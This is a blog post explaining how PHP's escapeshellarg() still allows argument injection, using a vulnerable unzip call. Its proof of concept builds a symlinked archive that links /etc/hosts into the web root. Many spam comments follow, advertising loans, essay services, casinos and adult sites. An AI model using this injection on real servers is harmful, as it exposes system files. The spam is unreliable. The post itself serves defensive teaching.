воскресенье, 24 марта 2013 г.

Breaking escapeshellarg() news

PHP function escapeshellarg() is the most popular way to prevent OS Commanding threats during shell calls by escaping command arguments.

But this function is not a panacea, and you should keep this in mind when using it.

Let's try to understand what this escaping function is doing:
  1. Performs framing quotes string: aaa -> 'aaa'
  2. Cuts bytes 0x00, 0x80-0xFF
  3. Escape single quotes: ' -> ''\'''
This guaranteed to create one console line argument from a string.
So, looks like ideal solution, right?

But there are no restrictions on characters in this line argument. For example, command line argument after escapeshellarg() filtration can be a command key (-a, -o and others). This is the first trick.

Second trick is argument parser which embeded in command line utilities.

Feel it:
$command -arg param
$command -arg=param
$command '-arg=param'
$command '-arg param'

There are no differences between these four examples for most command line utilities! Pay your attention to two last command lines, - you can put these lines after escapeshellarg() filtration.

Example:
<?php
   exec('unzip -j '.escapeshellarg($_GET['zip_arch_name']).' *.dat -d /tmp');
?>
Is it code protected from hackers? Try to check this in terminal by typing:
$ unzip -j '-d/var/www/' *.dat -d /tmp

This command will extract files with masks '*.dat' (all matches after first), '-d', '/tmp' from ZIP arhieve with filename *.dat to output folder /var/www.

Preparing exploit:
$ ln -s /etc/hosts 2.dat
$ zip --symlinks 1.zip 2.dat
$ mv 1.zip 1.dat

You can also add file with name '-d' to archive to make attack more stable (w/o needs of upload 1.dat and 2.dat both for exploit).

Try it:

$ unzip -j '-d/var/www' *.dat -d /tmp
Archive:  1.dat
    linking: /var/www/2.dat  -> /etc/hosts
finishing deferred symbolic links:
  /var/www/2.dat -> /etc/hosts
caution: filename not matched:  -d
caution: filename not matched:  /tmp

Now you can read files by +FollowSymlinks              -------------->

32 комментария:

  1. A little bit more clearer please?
    so you can inject '-d/var/www/' which will be treated as an argument and create an archive in /var/www....what's the deal with the symlinks?

    ОтветитьУдалить
    Ответы
    1. Mmm... Can't understand your question...
      "Now you can read files by +FollowSymlinks "

      Удалить
  2. In the event that you auto needs repairs and you just don't have the money to cover it, you might need to look for a payday credit to get your auto up and running.
    Payday Loans San-diego

    ОтветитьУдалить
  3. Possibly the truck blows a tire or has carburetor inconvenience. Whatever the issue, it prompts a budgetary catastrophe, as bills heap up and the influenced individual can't pay.
    Cash Advance

    ОтветитьУдалить
  4. Just on the off chance that you acquire through payday advances, ensure that you pay on time with the goal that you won't have issues later on, particularly that concerning your credit records.
    Cash Advance

    ОтветитьУдалить
  5. Subsequent to deciding whether you are qualified or not, you can act properly so you would now be able to back your money issue. Simply be constant in your hunt and you can locate the correct payday credit on the web.
    Car Title Loans

    ОтветитьУдалить
  6. This is very nice blog.Thanks to shear it.You can also visit my site pest control centennial .We will help you to protect your family.

    ОтветитьУдалить
  7. Thanks for sharing, nice post! Post really provice useful information!

    Giaonhan247 chuyên dịch vụ gửi hàng đi canada, gửi hàng đi úc với dịch vụ vận chuyển hàng đi campuchia hướng dẫn cách mua đồng hồ trên amazon với chi tiết bảng giá gửi hàng đi mỹ giá rẻ.

    ОтветитьУдалить


  8. شركة الامارات كلين

    شركة تنظيف كنب العين شركات تنظيف كنب في العين

    شركة تنظيف منازل الشارقة شركات تنظيف منازل بالشارقة
    شركة تنظيف الفجيرة شركات تنظيف بالفجيرة
    شركة تنظيف منازل ام القوين شركات تنظيف ام القوين
    شركة تنظيف عجمان شركات تنظيف في عجمان
    شركة تنظيف سجاد عجمان شركات غسيل سجاد عجمان


    ОтветитьУдалить
  9. دانلود سریال موچین
    http://filmosrialirani.loger.ir/post/184/%d8%af%d8%a7%d9%86%d9%84%d9%88%d8%af-%d8%b3%d8%b1%db%8c%d8%a7%d9%84-%d9%85%d9%88%da%86%db%8c%d9%86

    ОтветитьУдалить
  10. دانلود سریال موچین
    https://movies1400.page.tl/%26%231583%3B%26%231575%3B%26%231606%3B%26%231604%3B%26%231608%3B%26%231583%3B-%26%231587%3B%26%231585%3B%26%231740%3B%26%231575%3B%26%231604%3B-%26%231605%3B%26%231608%3B%26%231670%3B%26%231740%3B%26%231606%3B.htm

    ОтветитьУдалить
  11. Law assignment writing services are essential for law essay writing services and Law Research Writing Services seekers.

    ОтветитьУдалить
  12. Epson Printer Error Code 031008 is the most widely recognized mistake while utilizing epson printer.Dial Epson Support Number to determine all issues identified with Epson.

    ОтветитьУдалить
  13. It is important for neurobiology coursework writing help seekers to find the best Neurobiology Writing Services from a reputable neurobiology research paper writing service provider for their custom neurobiology essay writing services.

    ОтветитьУдалить
  14. Seeking psychology research writing services are very common nowadays since there are very many students in need of Psychology Coursework Writing Services and psychology assignment writing services.

    ОтветитьУдалить
  15. It is important for business management assignment help seekers to find the best Business Management Writing Services from a reputable business management paper writing service provider for their custom business management essay services.

    ОтветитьУдалить
  16. آیا خرید فالوور اینستاگرام بهترین گزینه است؟

    خرید فالوور یکی از بهترین گزینه ها برای رشد سریع در اینستاگرام است. شما با خرید فالوور به سرعت می تواند کسب و کار خود را در اینستاگرام جا انداخته و برند خود را مطرح کنید. اما نکته مهم در خرید فالوور این است که آیا فالوور خارجی بخریم یا ایرانی؟ آیا فالوور ارزان اینستاگرام بخریم یا از سرویس فالوور واقعی استفاده کنیم؟

    پاسخ به این سوالات کاملا واضح است. شما برای دیده شدن بیشتر نیاز به فالوور اینستاگرام دارید اما واقعی یا فیک بودن آن چندان مهم نیست! چون بعدا با تولید محتوای مستمر می توانید تعداد فالوور های واقعی و هدفمند پیج اینستاگرام خود را افزایش دهید. هرچند که خیلی از سایت ها فالوور فیک ارزان می فروشند و این کار باعث آسیب رساندن به پیج شما می شود.

    اما فالوور های فروشی در سایت بای فالوور علاوه بر اینکه فیک نیستند بلکه می توانید از طریق خرید فالوور از سایت بای فالوور کسب و کار خود را در اینستاگرام بهبود دهید و مشتریان خود را بیشتر از پیش افزایش دهید.



    خرید فالوور اینستاگرام


    بای فالوور

    ОтветитьУдалить
  17. دانلود آهنگ بی کلام الهام بخش Beauty Inside از رومانسنیک موزیک

    می توانید آهنگ بی کلام الهام بخش «Beauty Inside» را با صدای رومانسنیک موزیک از پاپ ملودی دانلود کنید.

    در این ساعت آهنگ بی کلام الهام بخش «Beauty Inside» از رومانسنیک موزیک را برای شما عزیزان آماده کرده ایم که می توانید با دو کیفیت 128 و 320 از پاپ ملودی دریافت کنید، همچنین قابلیت پخش آنلاین هم برای این آهنگ مهیا شده. امیدوارم که از شنیدن آهنگ Beauty Inside لذت ببرید. از همراهی شما با پاپ ملودی بسیار خوشحالیم



    https://popmelody.ir/%d8%b1%d9%88%d9%85%d8%a7%d9%86%d8%b3%d9%86%db%8c%da%a9-%d9%85%d9%88%d8%b2%db%8c%da%a9-beauty-inside/

    ОтветитьУдалить
  18. بیوگرافی صمدنیکخواه بهرامی بسکتبالیست
    بیوگرافی صمدنیکخواه بهرامی بسکتبالیست و همسرش را به همراه آمار و سوابق باشگاهی و تصاویر شخصی و حواشی پیچ اینستاگزام…

    https://irjavan.com/%d8%a8%db%8c%d9%88%da%af%d8%b1%d8%a7%d9%81%db%8c-%d8%b5%d9%85%d8%af-%d9%86%db%8c%da%a9%d8%ae%d9%88%d8%a7%d9%87-%d8%a8%d9%87%d8%b1%d8%a7%d9%85%db%8c-%d8%a8%d8%b3%da%a9%d8%aa%d8%a8%d8%a7%d9%84%db%8c/

    ОтветитьУдалить
  19. Easily, the article is actually the best topic on this registry related issue. I fit in with your conclusions and will eagerly look forward to your next updates Feel free to visit my website;
    야설

    ОтветитьУдалить
  20. Excellent Post as always and you have a great post and i like it thank you for sharing.Feel free to visit my website; 한국야동

    ОтветитьУдалить
  21. I think this is an informative post and it is very useful and knowledgeable. therefore, I would like to thank you for the efforts you have made in writing this article :D 먹튀검증


    ОтветитьУдалить
  22. There's lots of dissertation web-sites on line while you find needless to say recognized in your own webpage. happyluke

    ОтветитьУдалить
  23. Thank You! For sharing such a great article, It’s been an amazing article. It provides lot’s of information.

    coupon codes
    coupon codes
    coupon codes

    ОтветитьУдалить
  24. When a piece of composing or task is finished, our quality control/altering division views it. We need to guarantee that all client rules have been met, that the piece adjusts to our exclusive expectations of Write My Essay For Me Cheap exploration and composing and that it is, without a doubt, completely unique work. Really at that time will we discharge it to be conveyed to the client.

    ОтветитьУдалить
  25. Wynn Slots for Android and iOS - Wooricasinos
    A free app for slot machines 1xbet korean from WRI Holdings Limited that lets you play https://deccasino.com/review/merit-casino/ the popular games, wooricasinos.info such as https://tricktactoe.com/ free video slots, table games and live casinosites.one casino

    ОтветитьУдалить